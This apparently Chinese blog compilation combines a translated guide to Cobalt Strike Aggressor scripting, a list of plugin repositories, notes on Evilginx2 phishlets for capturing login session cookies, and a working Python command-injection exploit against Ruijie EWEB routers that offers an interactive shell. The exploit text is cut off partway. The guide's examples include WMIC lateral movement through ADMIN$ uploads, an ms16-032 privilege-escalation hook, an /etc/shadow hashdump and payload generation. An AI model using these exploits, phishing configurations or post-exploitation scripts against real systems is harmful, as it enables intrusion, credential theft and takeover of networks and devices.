CobaltStrike插件开发官方指南 Part4

0x07 日志/计数器/窗口
事件日志
Cobalt Strike的运算符和脚本均将全局事件传递给共享事件日志,AgScripts也可以会对这些日志进行操作。

事件日志事件均以event_开头,使用event_notify可列出全局通知:

on event_notify {
println(“I see: $1”);
}
如需将消息输出到共享事件日志可使用say函数。

say(“Hello World”);
要发布重大事件或通知(不一定是聊天),请使用elog函数,如出现冲突信息服务器将自动为此信息添加时间戳并存储(比如登陆一个已登陆的账号),此类信息也将显示在Cobalt Strike的活动报告中。

elog(“system shutdown initiated”);
计时器
利用AgScript可中的heartbeat_X可实现定期执行任务,其中X的值可以是1s,5s,10s,15s,30s,1m,5m,10m,15m,20m,30m或60m

on heartbeat_10s {
println(“I happen every 10 seconds”);
}
对话框
使用show_message可向用户提示信息,使用show_error可向用户提示错误信息。

bind Ctrl+M {
show_message(“show_message!”);
show_message(“show_error!”);
}
使用prompt_text函数可提示输入框:

prompt_text(“What is your name?”, “Joe Smith”, {
show_message(“Please $1 $+ , pleased to meet you”);
});
确认框可以使用prompt_confirm,和prompt_text函数相似度极高。

自定义对话框
AgScript有一个API可用于构建自定义对话框。 dialog函数用于创建一个对话框,对话框主要由行和按钮组成,其中行包含了标签,行名称,要输入的GUI组件,可能还有用于设置输入的帮助程序。 关闭按钮对话框并触发回调函数。 回调函数的参数类型是一个字典,将每行的名称映射到对应的GUI组件中的输入值。最后再使用dialog_show函数将对话框展示出来即可。demo:

sub callback {
println(“Dialog was actioned. Button: $2 Values: $3”);
}

$dialog = dialog(“Host File”, %(uri => “/download/file.ext”, port => 80, mimetype => “automatic”), &callback);
dialog_description($dialog, “Host a file through Cobalt Strike’s web server”);

drow_file($dialog, “file”, “File:”);
drow_text($dialog, “uri”, “Local URI:”);
drow_text($dialog, “host”, “Local Host:”, 20);
drow_text($dialog, “port”, “Local Port:”);
drow_combobox($dialog, “mimetype”, “Mime Type:”, @(“automatic”, “application/octet-stream”, “text/html”, “text/plain”));

dbutton_action($dialog, “Launch”);
dbutton_help($dialog, “https://www.cobaltstrike.com/help-host-file”);

dialog_show($dialog);
(该窗口在Attacks -> Web Drive-by -> Host File中触发打开)

跟进这个绘制对话框的流程

line1-3 定义callback函数
line5 dialog绘制窗口,第一个参数是窗口标题,第二个参数是一个%字典并将行名称映射到默认值,第三个参数是回调函数。
line6 添加窗口描述。
line8 添加选择文件的组件
line9-11 添加输入框
line12 添加选择框
line14 添加一个开始按钮
line15 添加帮助导航(相当于超链接)
line17 显示窗口

0x08 自定义报告
报告处理
Cobalt Strike使用特定领域的语言来定义其报告,该语言类似于AgScript,但其大多数API均无法访问,报告生成过与AgScript脚本引擎无关。

处理报告的脚本引擎可以访问数据聚合API和一些基元,用以指定Cobalt Strike报告的结构。

default.rpt文件定义了Cobalt Strike中的默认报告的样式。

报告加载
在Cobalt Strike -> Preferences -> Reports中可看到如下窗口

选择完logo文件以及.rpt文件并保存即可在Reporting功能中看到自定义的报告。

错误报告
如果到处报告的过程中发生了未知错误,可在 View -> Script Console中查看错误详情

报告demo
如下demo中的报告并未获取什么实质性内容,仅作为自定义报告的一个demo而已:

default description of our report [the user can change this].

describe(“Hello Report”, “This is a test report.”);

define the Hello Report

report “Hello Report” {
# the first page is the cover page of our report.
page “first” {
# title heading
h1($1[‘long’]);

    # today's date/time in an italicized format
    ts();

    # a paragraph [could be the default...
    p($1['description']);
}

# this is the rest of the report
page "rest" {
    # hello world paragraph
    p("Hello World!");
}

}
其中h1函数是输出标题,ts函数输出报告的日期/时间戳,p函数输出段落。详情可参考报告相关的函数

数据聚合API
Cobalt Strike的报告依赖于数据聚合API来获取其信息,该API为您提供了客户当前连接到的所有团队服务器的数据的合并视图,并提供了评估活动的综合报告,处理报告的这些函数以均以ag前缀开头(如agTargets),报表引擎在生成报表时传递数据聚合模型即为$3参数。

总结:

对于大部分开发者而言,摸清楚agScript的基本语法后只需在函数库里面翻翻自己需要的函数就可以轻松写出需要的插件了。

函数库:

https://www.cobaltstrike.com/aggressor-script/functions.html

CobaltStrike插件开发官方指南 Part3

0x05 Beacon
Beacon是Cobalt Strike后渗透的重要功能。 本章中将探讨如何使用agscript自动执行Beacon的一些功能。

元数据处理
Cobalt Strike给每个Beacon会话都分配了一个随机ID,执行任务时任务的元数据与每个Beacon的ID相关联,使用beacons函数可查询到查询所有当前Beacon会话的元数据,beacon_info函数则是用于查询制定Beacon会话的元数据。 Demo:

command beacons {
local(‘$entry $key $value’);
foreach $entry (beacons()) {
println(“ ” . $entry[‘id’] . ” “);
foreach $key => $value ($entry) {
println(“$[20]key : $value”);
}
println();
}
}

处理方式和数组一致。

Aliases
快捷命令,和macOS等系统上的使用道理是一样的,使用alias函数直接注册,看demo:

alias hello {
blog($1, “Hello World!”);
}
(和command函数感觉没啥差异。)

快捷命令参数的用法和其他语言一样,$0是脚本本身,$1是第一个参数,以此类推,不再做赘述。

官方在此处提了下注册beacon别名的函数beacon_command_register,主要作用就是方便把beacon命令写成接口吧,但是没有具体的说明,官方函数库里面代码还写错了。【难过.png】

alias echo {
blog($1, “You typed: ” . substr($1, 5));
}

beacon_command_register(
“echo”,
“echo text to beacon log”,
“Synopsis: echo [arguments]\n\nLog arguments to the beacon console”);
使用上述代码注册后即可在beacon里面使用快捷命令。

处理新Beacons会话
此处可以理解为给新的Beacons会话添加一个自动运行的脚本,或者是让所有的新会话都运行一遍写好的脚本。

涉及到的函数是beacon_initial)

官方说明:

on beacon_initial {
# do some stuff
}
这其实是个很好用的函数,写个设置自启代码,有新会话进来就自动加载,以后就不用担心重启会话掉了。

这里有个缺陷,当Beacon第一次收到元数据时会触发beacon_initial事件。 这意味着DNS Beacon在被要求运行命令之前不会触发beacon_initial。 所以如果需要与首次连接C2的DNS Beacon进行交互的话,请使用beacon_initial_empty事件。

右键菜单
直接看官方示例:

popup beacon_bottom {
item “Run All…” {
prompt_text(“Which command to run?”, “whoami /groups”, lambda({
binput(@ids, “shell $1”);
bshell(@ids, $1);
}, @ids => $1));
}
}
这里有两个函数可以在右键菜单中添加功能项,分别是beacon_top和beacon_bottom。

任务描述
原文标题为Acknowledging Tasks,字面意思确认任务???

官方demo:

alias survey {
btask($1, “Surveying the target!”, “T1082”);
bshell!($1, “echo Groups && whoami /groups”);
bshell!($1, “echo Processes && tasklist /v”);
bshell!($1, “echo Connections && netstat -na | findstr \”EST\””);
bshell!($1, “echo System Info && systeminfo”);
}

添加一个btask函数来描述一下任务,第二个参数用用了ATT&CK矩阵中的信息分类,比如demo参数中的T1082是系统信息挖掘,方便对攻击信息进行筛选整理。相比println,也就是多了这个描述。

分类详情:

https://attack.mitre.org/
案例1 已有指令覆盖
Aliases添加的快捷指令可以覆盖已存在的命令,直接看一个覆盖内置powershell指令的demo:

alias powershell {
local(‘$args $cradle $runme $cmd’);

# $0 is the entire command with no parsing.
$args   = substr($0, 11);

# generate the download cradle (if one exists) for an imported PowerShell script
$cradle = beacon_host_imported_script($1);

# encode our download cradle AND cmdlet+args we want to run
$runme  = base64_encode( str_encode($cradle . $args, "UTF-16LE") );

# Build up our entire command line.
$cmd    = " -nop -exec bypass -EncodedCommand \" $+ $runme $+ \"";

# task Beacon to run all of this.
btask($1, "Tasked beacon to run: $args", "T1086");
beacon_execute_job($1, "powershell", $cmd, 1);

}
从上到下面逐行理解:

line1 定义本地变量。
line2 $0是获取输入的原始指令,使用substr函数获取第十一个字符之后的字符串(“powershell”十个字符串加一个空格)
line3 使用beacon_host_imported_script函数导入脚本,这里的host只是程序自动运行的临时web服务,并非远程主机的,所以$1写脚本的位置即可。
line4 编码字符串,之所以用UTF-16LE应该是临时web服务的编码设定问题。
line5 拼接命令
line7 描述任务详情
line8 使用beacon_execute_job函数执行命令并返回结果给Beacon
同理,可覆盖原有shell指令,用于在环境变量中隐藏Windows命令:

alias shell {
local(‘$args’);
$args = substr($0, 6);
btask($1, “Tasked beacon to run: $args (OPSEC)”, “T1059”);
bsetenv!($1, ““, $args);
beacon_execute_job($1, “%COMSPEC%”, ” /C %
%”, 0);
}
可以利用环境变量来做一些免杀吧。

案例2 横向渗透
看一下官方Beacon脚本的扩展示例。 先注册一条beacon命令wmi-alt。 并在参数中获取目标地址和监听器。 然后生成一个绑定到监听器的可执行文件,并将其复制到目标,最终使用wmic命令来运行它。

首先,让我们扩展Cobalt Strike的帮助并注册我们的wmi-alt别名:

register help for our alias

beacon_command_register(“wmi-alt”, “lateral movement with WMIC”,
“Synopsis: wmi-alt [target] [listener]\n\n” .
“Generates an executable and uses wmic to run it on a target”);
完整的实现代码:

alias wmi-alt {
local(‘$mydata $myexe’);

# check if our listener exists
if (listener_info($3) is $null) {
    berror($1, "Listener $3 does not exist");
    return;
}

# generate our executable artifact
$mydata = artifact($3, "exe", true);

# generate a random executable name
$myexe  = int(rand() * 10000) . ".exe";

# state what we're doing.
btask($1, "Tasked Beacon to jump to $2 (" . listener_describe($3, $2) . ") via WMI", "T1047");

# upload our executable to the target
bupload_raw!($1, "\\\\ $+ $2 $+ \\ADMIN$\\ $+ $myexe", $mydata);

# use wmic to run myexe on the target
bshell!($1, "wmic /node: $+ $2 process call create \"c:\\windows\\ $+ $myexe $+ \"");

# complete staging process (for bind_pipe listeners)
bstage($1, $2, $3);

}
bupload_raw函数的第二个参数是上床到的目标地址,第三个参数是生成的数据。详情可查看bupload_raw函数的详细说明。

案例3 提权
和案例2类似,这里先使用beacon_exploit_register函数注册一个exp名,方便后面调用。

beacon_exploit_register(“ms16-032”, “Secondary Logon Handle Privilege Escalation (CVE-2016-099)”, &ms16_032_exploit);
完整demo:

sub ms16_032_exploit {
local(‘$script $oneliner’);

# acknowledge this command
btask($1, "Tasked Beacon to run " . listener_describe($2) . " via ms16-032", "T1068");

# generate a PowerShell script to run our Beacon listener
$script = artifact($2, "powershell");

# host this script within this Beacon
$oneliner = beacon_host_script($1, $script);

# task Beacon to run this exploit with our one-liner that runs Beacon
bpowershell_import!($1, script_resource("Invoke-MS16032.ps1"));
bpowerpick!($1, "Invoke-MS16032 -Command \" $+ $oneliner $+ \"");

# handle staging (if we're dealing with a named pipe Beacon; does nothing otherwise)
bstage($1, $null, $2);

}
这里的beacon_host_script函数不同于上面的beacon_host_imported_script性质是一样的,为了解决生成的脚本体积过大而导致的一些错误而生。

0x06 SSH会话
Cobalt Strike的SSH客户端使用了SMB Beacon协议并实现Beacon命令调用以及子功能的使用。 从AgScript的角度来看,SSH会话是一个包含较少命令的Beacon会话。

SSH会话的性质
与Beacon会话非常相似,SSH会话也具有自己的唯一ID。 Cobalt Strike将任务和元数据与此ID相关联。 beacons功能还将返回有关所有Cobalt Strike会话(SSH会话和Beacon会话)的信息。 使用-isssh可检测当前会话是否是SSH会话。 同理-isbeacon用于检测当前会话是否是Beacon会话。

一个用于过滤Beacon中ssh会话的demo函数

sub ssh_sessions {
return map({
if (-isssh $1[‘id’]) {
return $1;
}
else {
return $null;
}
}, beacons());
}
SSH快捷命令
直接看demo:

ssh_alias hashdump {
if (-isadmin $1) {
bshell($1, “cat /etc/shadow”);
}
else {
berror($1, “You’re (probably) not an admin”);
}
}

除此之外之外还可以使用ssh_command_register注册ssh命令。用法和beacon一致。

ssh_alis echo {
blog($1, “You typed: ” . substr($1, 5));
}

ssh_command_register(
“echo”,
“echo posts to the current session’s log”,
“Synopsis: echo [arguments]\n\nLog arguments to the SSH console”);
SSH新会话处理
和beacon相似度极高,几乎就是把beacon这个关键字关城ssh即可。比如下属dome:

on ssh_initial {
# do some stuff
}
beacon使用到的是beacon_initial。传输的唯一参数$1为ssh会话的ID。

右键菜单
和beacon右键菜单的写法除了名称不同,其他无异。

beacon:beacon_bottom,beacon_top
ssh : ssh
demo

popup ssh {
item “testPopup” {
prompt_text(“Which command to run?”, “w”, lambda({
binput(@ids, “shell $1”);
bshell(@ids, $1);
}, @ids => $1));
}
}

官方写明确写了ssh会话只是beacon会话的一个子集而已。

CobaltStrike插件开发官方指南 Part2

0x03 数据模型
Cobalt Strike的团队服务器存储了所有主机,服务,凭据等信息信息。

数据API
使用&data_query函数即可查询到Cobalt Strike的数据模型。 这个函数可以访问Cobalt Strike客户端维护的所有状态和信息。 使用&data_keys多了一个可以查询制定数据的功能,看demo:

command export {
local(‘$handle $model $row $entry $index’);
$handle = openf(“>export.txt”);

foreach $model (data_keys()) {
    println($handle, "== $model ==");
    println($handle, data_query($model));
}

closef($handle);

println("See export.txt for the data.");

}

Cobalt Strike提供了多种功能方便攻击者们更直观地使用数据模型。

模型 函数 功能描述
applications &applications 系统分析结果 [View -> Applications]
archives &archives 连接日志/活动
beacons &beacons 激活beacons
credentials &credentials 账号密码等
downloads &downloads 下载的文件
keystrokes &keystrokes Beacon接收到键盘记录
screenshots &screenshots 截图文件啊
services &services 服务相关信息
sites &sites 资产信息
socks &pivots SOCKS代理服务以及端口转发
targets &targets 主机信息
调用这些函数会返回一个模型中每个条目的数组,每行对于的是一个字典,字典中包含了键与其键值。

要理解这东西最简单的方式就是直接到控制台上手调试了,x命令就是为此准备的,看图:

(就是基本的数组操作。)

使用on DATA_KEY可关注制定模型的变化:

on keystrokes {
println(“I have new keystrokes: $1”);
}
0x04 监听器
监听器(Listeners)是Cobalt Strike处理bot发来的信息的核心模块。

监听器API
agscript会收集来自连接到的当前团队服务器的监听器的信息,这样做的好处是可以轻松地将会话转移给另一台团队服务器,想要获取所有监听器名称的列表可以使用&listeners函数,只使用本地侦听器的话用&listeners_local函数,&listener_info函数可将监听器名称解析为其配置信息,demo:

command listeners {
local(‘$name $key $value’);
foreach $name (listeners()) {
println(“ $name “);
foreach $key => $value (listener_info($name)) {
println(“$[20]key : $value”);
}
}
}


监听器创建
用&listener_create函数啦。
demo:

新建一个foreign监听器

listener_create(“My Metasploit”, “windows/foreign_https/reverse_https”,
“ads.losenolove.com”, 443);

新建一个HTTP Beacon监听器

listener_create(“Beacon HTTP”, “windows/beacon_http/reverse_http”,
“www.losenolove.com”, 80,
“www.losenolove.com, www2.losenolove.com”);


监听器删除
用&listener_delete函数,值得注入的是需要传入一个参数,也就是监听器的名称。

listener_delete(“Beacon HTTP”);

(很尴尬,不知道是官方bug还是汉化版的原因,在代码中运行正常,丢到控制台就GG。)

监听器选择
使用&openPayloadHelper会弹出一个当前可用的监听器列表供选择,使用者选完后程序会接着运行回调函数,demo:

item “&Spawn” {
openPayloadHelper(lambda({
binput($bids, “spawn $1”);
bspawn($bids, $1);
}, $bids => $1));
}
Shellcode生成
使用&shellcode为指定的侦听器名称生成shellcode。

$data = shellcode(“my listener”, false, “x86”);
$handle = openf(“>out.bin”);
writeb($handle, $data);
closef($handle);
shellcode函数共传入了三个参数,第一个是监听器的名称,第二个是选择是否发送给远程主机(true/false),第三个是系统的架构(x64/x86)。

exe/dll生成
用&artifact函数啦。

有四个参数需要传入:

artifact(“my listener”,”exe”,false,x86);
对比shellcode生成仅多了第二个参数,也就是生成的bot程序的类型,共七种类型可选:

类型参数 描述
dll x86 DLL
dllx64 x64 DLL
exe windows可执行程序啦
powershell powershell脚本
python python脚本
svcexe 以服务启动的可执行文件啦
vbscript vb脚本
自己写的一个小Demo:

popup beacon_bottom {
item “exe” {
$data = artifact(“cat”, “exe”);
$handle = openf(“>cat.exe”);
writeb($handle, $data);
closef($handle);
}
}
只写两个参数因为其他两个参数默认为false和x86,懒得话写不写都无所谓。

PowerShell
函数是&powershell ,用法:

println(powershell(“my listener”, false,x86));
和shellcode的写法一模一样,不作赘述。(本来就属于shellcode的一个子集,不知道官方为啥要独立出来写。)

Stageless
函数&artifact_stageless,demo:

sub ready {
local(‘$handle’);
$handle = openf(“>out.exe”);
writeb($handle, $1);
closef($handle);
}

artifact_stageless(“my listener”, “exe”, “x86”, “”, &ready);
对比exe/dll生成多的参数是代理的信息,其他无异。

CobaltStrike插件开发官方指南 Part1

CobaltStrike插件开发官方指南 Part1

0x01 简介

什么是agscript?

(agscript为Aggressor Script的简写,直译攻击者脚本通篇读起来怪怪的,故保留。)

agscriptCobaltStrike 3.0之后版本中内置的脚本语言,利用Aggresor编写脚本可轻松地武装您的CobaltStrike客户端。

背景

agscriptArmitage的开源脚本引擎Cortana的精神继承者。 因为DARPACyber Fast Track计划才使Cortana成了可能。 Cortana支持开发者通过Armitage的团队服务器扩展Armitage并控制Metasploit Framework及其功能。 当然,Cobalt Strike 3.0并不是以Armitage为基础的重写的。 这次大弧度的版本升级是为了重新审视Cobalt Strike,并围绕Cobalt Strike的功能进行重构。 产物就是agscript的诞生。

agscript是一种简单脚本语言,主要用于红队编写针对肉鸡的攻击脚本。 它有两个作用,一是可以用来对自己的肉鸡做持久性控制,二是可以用来扩展或修改Cobalt Strike客户端以满足您的个性化需求。

现状

agscript是以Cobalt Strike 3.0为基础的。 Cobalt Strike 3.0中绝大部分菜单/按钮事件都是由agscript引擎支撑。 Strategic Cyber LLC尚未为Cobalt Strike的大多数功能写API,也就是说,agscript目前仍处于起步阶段。 在未来,我们也期待看到agscript的发展壮大。这份文档也会随着时间的推移而变动。

如何加载脚本?

agscript内置于Cobalt Strike 客户端, 如果需要长期使用agscript, 请移步Cobalt Strike客户端 -> Script Manager and press Load功能。

。、20190808072926-324c4c02-b96b-1

脚本控制台

Cobalt Strike提供了交互式的脚本控制台。 通过控制台可跟踪,配置,调试以及管理脚本。可以通过View– > Script Console获得进入agscript控制台。

基础命令:

命令 参数 作用
? foo” 即 “foobar” 测试Sleep predicate并打印结果
e println(“foo”); 测试Sleep statement
help 列出所有命令
load /path/to/script.cna 加载脚本
ls 列出已加载的脚本
proff script.cna 禁用脚本的Sleep Profiler
profile script.cna 转储脚本的性能统计信息
pron script.cna 启用脚本的Sleep Profiler
reload script.cna 重新加载脚本
troff script.cna 禁用脚本的功能跟踪
tron script.cna 启用脚本的功能跟踪
unload script.cna 卸载脚本
x 2 + 2 执行表达式并返回结果

20190808072927-32ed6268-b96b-1

命令行使用Cobalt Strike

您也许会希望在在没有GUI的情况下启动Cobalt Strike,客户端压缩包中的agscript这个脚本文件能够满足您的需求,连接命令:

./agscript [host] [port] [user] [password]

上述命令可以使您快捷的连接到团队的服务器,当然,如果您希望加载agscript脚本还可以这样写参数:

./agscript [host] [port] [user] [password] [/path/to/script.cna]

上述命令可以连接团队服务器并运行您的脚本,下面给出一段demo代码:

on ready {
    println("Hello World! I am synchronized!");
    closeClient();
}

20190803141837-87bb5ef2-b5b6-1

Sleep快速上手

agscript是基于Raphael MudgeSleep语言的二次开发的。原手册见:

http://sleep.dashnine.org/manual

(译者注:Sleep是一种基于java开发的脚本语言)

Sleep能做的agscript都能做,下面是一些注意事项:

Sleep的语法,运算符甚至俚语都与Perl极其类似,简单说一个他们的区别,Sleep需要的语句之间需要有空格,以下代码无效:

$x=1+2; # this will not parse!!

正确的语法是这样的:

$x = 1 + 2;

Sleep的变量有标量,字符串,各自类型的数字,Java对象引用,函数,数组以及字典等。 以下是Sleep中的常见的几种变量:

$x = "Hello World";
$y = 3;
$z = @(1, 2, 3, "four");
$a = %(a => "apple", b => "bat", c => "awesome language", d => 4);

使用@函数即可创建数组和字典,数组和字典不仅可以引用其他数组和字典,还可以可以引用自己。

Sleep的注释以开头,直到结束。

Sleep会插入双引号的字符串,这意味着以\$符号开头的任何以空格分隔的标记都将替换为其值。 特殊变量$+将插字符串与另一个值连接起来。

println("\$a is: $a and \n\$x joined with \$y is: $x $+ $y");

运行结果为:

$a is: %(d => 4, b => 'bat', c => 'awesome language', a => 'apple') and 
$x joined with $y is: Hello World3

这儿有一个和println类似的函数叫warn,不同的是warn输出的内容中包含了当前代码的文件名和行数,对于开发者来说,调试定位错误特别方便。

使用sub字符即可声明函数,传给函数的参数标记为$1,$2,一直到$n。函数可以接受无数个参数。 变量@_是一个包含所有参数的数组,$1$2等变量的更改将改变@_的内容。

sub addTwoValues {
    println($1 + $2);
}

addTwoValues("3", 55.0);

运行结果:

58.0

在Sleep语法中,函数是任何其他对象的首选类型,下面语法您可以会常见到:

$addf = &addTwoValues;

$addf变量引用了&addTwoValues函数,调用并传参可以这样写:

[$addf : "3", 55.0];

这括号的表示方法还可用于操作Java对象,需要了解更多建议您阅读上面提到的Sleep手册,以下语句是等效的:

[$addf : "3", 55.0];
[&addTwoValues : "3", 55.0];
[{ println($1 + $2); } : "3", 55.0];
addTwoValues("3", 55.0);

Sleep有三变量范围:全局变量,特殊变量,本地变量。Sleep手册中的介绍更为详细一些,这里不做赘述。 示例中看到local('$x $y $z')中的$x$y$z就是当前函数的本地变量,并且当函数返回时它们的值将重置。

更多Sleep相关的语法结构请参考官方手册。

交互式操作

agscript显示输出同样使用了Sleep&println, &printAll, &writeb, 以及&warn这四个函数,这些函数均可在控制台输出内容。

大多数语言都可以注册快捷命令,agscript也不例外,使用command即可创建命令:

command foo {
    println("Hello $1");
}

这段代码将会注册命令foo,脚本控制台会自动解析命令的参数,并按空格将它们拆分为参数,$1是第一个参数,$2是第二个参数,依此类推。用户可以使用“双引号”来创建带空格的参数。 如果这种解析对您可能会对输入执行造成破坏性的操作,请使用$0访问传递给命令的原始文本。

控制台文本颜色

如果你想给Cobalt Strike的控制台添加一些色彩,通过\c\U\o转义即可告诉Cobalt Strike如何格式化文本。 值得提醒的是这些转义仅在双引号字符串内有效。

\cX就是告诉Cobalt Strike你想输出什么颜色,X是颜色的值:

\U是告诉控制台添加下划线,\o则是重置这些花里胡哨的东西。

0x02 Cobalt Strike

Cobalt Strike客户端

agscript引擎是糅合到Cobalt Strike的功能之一,Cobalt Strike的绝大部分对话框和功能都是以独立模块的形式编写的,并面向agscript引擎开放了一些接口。

内置的脚本default.cna就定义了工具栏的按钮,弹出的菜单等等。

本章将向您展示这些功能的工作流程,并使您能够根据需要打造自己的Cobalt Strike客户端。

快捷键绑定

使用bind即可快速绑定关键字,这里加上我们要按Ctrl+H快捷输出一个Hello Word该怎么写?看代码:

bind Ctrl+H {
    show_message("Hello World!");
}

快捷键可以是任何ASCII字符或特殊键,快捷方式可能会应用一个或多个修饰符,修饰符修饰符仅为以下几个特定按键:Ctrl,Shift,Alt,Meta。脚本可以指定修饰符+键。

弹出菜单

使用agscript可以添加或是重新定义CoblatStrike菜单,popup这个关键字即为Hook弹出菜单的语句。

看一个添加菜档的demo代码:

popup help {
        item("&Homepage", { url_open("https://www.cobaltstrike.com/"); });
        item("&Support",  { url_open("https://www.cobaltstrike.com/support"); });
        item("&Arsenal",  { url_open("https://www.cobaltstrike.com/scripts?license=" . licenseKey()); });
        separator();
        item("&System Information", { openSystemInformationDialog(); });
        separator();
        item("&About", { openAboutDialog(); });
}

如上图所示,脚本新添件并定义了多个按钮事件,点击机制执行对应代码。

再看看如何添加子菜单:

popup pgraph {
        menu "&Layout" {
        item "&Circle"    { graph_layout($1, "circle"); }
        item "&Stack"     { graph_layout($1, "stack"); }
        menu "&Tree" {
            item "&Bottom" { graph_layout($1, "tree-bottom"); }
            item "&Left"   { graph_layout($1, "tree-left"); }
            item "&Right"  { graph_layout($1, "tree-right"); }
            item "&Top"    { graph_layout($1, "tree-top"); }
        }
        separator();
        item "&None" { graph_layout($1, "none"); }
    }
}

如果你想覆盖已存在的菜单,使用&popup_clear函数清除其他已注册的菜单项,并代码新定义的菜单弹出选项。

自定义输出

agscript中的set关键字定义了如何格式化事件并将其输出呈现给客户端。 以下是set关键字的demo:

set EVENT_SBAR_LEFT {
    return "[" . tstamp(ticks()) . "] " . mynick();
}

set EVENT_SBAR_RIGHT {
    return "[lag: $1 $+ ]";
}

上面的代码定义了Cobalt Strike的事件日志(View -> Event Log)中状态栏的内容,此状态栏的左侧显示当前时间和您的昵称,右侧显示了Cobalt Strike客户端和团队服务器之间的消息往返时间。

Cobalt Strike中默认的各种设置都可以通过统一的方法来修改覆盖。

事件管理

使用on这个关键字可以为事件定义处理程序,当Cobalt Strike连接到团队服务器并准备代表您行动时,就绪事件将触发。demo:

on ready {
    show_message("Ready for action!");
}

使用* meta-event可查看再Cobalt Strike中发生的所有事件。

on * {
    local('$handle $event $args');

    $event = shift(@_);
    $args  = join(" ", @_);

    $handle = openf(">>eventspy.txt");
    writeb($handle, "[ $+ $event $+ ] $args");
    closef($handle);
}

CobaltStrike插件合集

“`
https://github.com/realoriginal/ppdump-public
https://github.com/bitsadmin/nopowershell
https://github.com/bitsadmin/fakelogonscreen
https://github.com/offsecginger/AggressorScripts
https://github.com/mdsecactivebreach/CACTUSTORCH
https://github.com/FortyNorthSecurity/AggressorAssessor
https://github.com/Kevin-Robertson/Inveigh
https://github.com/Kevin-Robertson/Invoke-TheHash
https://github.com/RhinoSecurityLabs/Aggressor-Scripts
https://github.com/rasta-mouse/Watson
https://github.com/rasta-mouse/Sherlock
https://github.com/killswitch-GUI/CobaltStrike-ToolKit
https://github.com/michalkoczwara/aggressor_scripts_collection
https://github.com/ars3n11/Aggressor-Scripts
https://github.com/QAX-A-Team/CobaltStrike-Toolset
https://github.com/QAX-A-Team/BrowserGhost
https://github.com/QAX-A-Team/EventLogMaster
https://github.com/bluscreenofjeff/AggressorScripts
https://github.com/bluscreenofjeff/Malleable-C2-Randomizer
https://github.com/harleyQu1nn/AggressorScripts
https://github.com/vysecurity/morphHTA
https://github.com/vysecurity/ANGRYPUPPY
https://github.com/vysecurity/Aggressor-VYSEC
https://github.com/rsmudge/ElevateKit
https://github.com/rsmudge/cortana-scripts
https://github.com/threatexpress/red-team-scripts
https://github.com/threatexpress/malleable-c2
https://github.com/Und3rf10w/Aggressor-scripts
https://github.com/ramen0x3f/AggressorScripts
···

Evilginx2 phishlets 文档

Evilginx phishlet是纯文本规则集(YAML格式),被输入到Evilginx引擎中,它们正在定义正确地代理特定站点所需的子域,在中继数据包中替换的字符串,要捕获的cookie等。在那些网络钓鱼中,我们有一些常规变量,例如:

  • name :Phishlet名称(用于evilginx2)

  • author :作者名称

  • min_ver :版本号

  • proxy_hosts 代理主机

    • phish_sub:子域名,将在网络钓鱼的主机名中添加前缀。就像Gretzky建议的那样,保留它与原始子域名相同的名称。
    • orig_sub :合法网站上使用的原始子域名
    • domain :我们定位的网站域名
    • session :仅对于将返回身份验证Cookie的子域,将其设置为true。
    • is_landing:如果您希望以后在生成网络钓鱼网址时使用此子域,则将其设置为true
  • sub_filters 过滤参数
    • hostname :网站的原始主机名,将对其进行替换
    • sub:来自原始主机名的子域名。用作替代辅助剂
    • domain :原始主机名的域名(类似于sub)
    • search :在HTTP数据包正文中搜索内容的正则表达式。
    • replace:将替换所有出现的字符串search(支持正则表达式)
    • mimes :仅在进行域搜索和替换之前将考虑的MIME类型数组。
    • redirect_only :仅当在生成的网络钓鱼URL中设置了重定向URL(真或假)时,才使用此sub_filter
  • auth_tokens

    这里我们定义成功登录时要捕获的cookie。我们稍后可以将捕获的cookie导入浏览器(对于 chrome 通过 EditThisCookie 经常提到的方法 )

    • domain :将为其保存Cookie的原始域
    • keys :应捕获的Cookie名称数组(使用特定名称[‘PHPSESSID’]或使用正则表达式[‘。*,regexp’]捕获所有cookie)
  • auth_urls 指定将触发会话捕获的URL数组(支持正则表达式)
    • 例如我们的自定义示例:–’/ ex /’
  • user_regex
    • key:POST请求的名称。参数
    • re :正则表达式,例如(。*)将捕获整个键值对
  • pass_regex
    • key:POST请求的名称。钥匙
    • re :正则表达式,例如(。*)将捕获整个值
  • landing_path 登录页面的URL路径列表。
    • 例如对于 facebook:–’/login.php’

酒店网络分析 – 锐捷Exp利用

锐捷漏洞利用

一、目标信息/exp

  • 路由器型号:NBR3000D-E
  • 网关地址:192.168.200.1
  • 开放端口:80,8081
  • 漏洞:远程命令执行
  • exp:
import requests
import sys
import random
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
    print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
    print('+  \033[34m公众号 : PeiQi文库                                                     \033[0m')
    print('+  \033[34mVersion: 锐捷网络-EWEB网管系统                                      \033[0m')
    print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
    print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/guest_auth/guestIsUp.php"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded",
    }
    data = "mac=1&ip=127.0.0.1| whoami > PeiQi_test.txt"
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, headers=headers, data=data,verify=False, timeout=5)
        if response.status_code == 200:
            print("\033[32m[o] 目标{}存在漏洞, 执行命令 whoami \033[0m".format(target_url))
            requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
            response = requests.get(url=target_url + "/guest_auth/PeiQi_test.txt", headers=headers, data=data, verify=False, timeout=5)
            print("\033[32m[o] 响应为: {} \033[0m".format(response.text))
            while True:
                cmd = input("\033[35mCmd >>> \033[0m")
                if cmd == "exit":
                    sys.exit(0)
                else:
                    POC_2(target_url, cmd)
        else:
            print("\033[31m[x] 目标不存在漏洞 \033[0m")
            sys.exit(0)
    except Exception as e:
        print("\033[31m[x] 请求失败 \033[0m", e)

def POC_2(target_url, cmd):
    vuln_url = target_url + "/guest_auth/guestIsUp.php"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.141 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded",
    }
    data = "mac=1&ip=127.0.0.1| {} > PeiQi_test.txt".format(cmd)
    try:
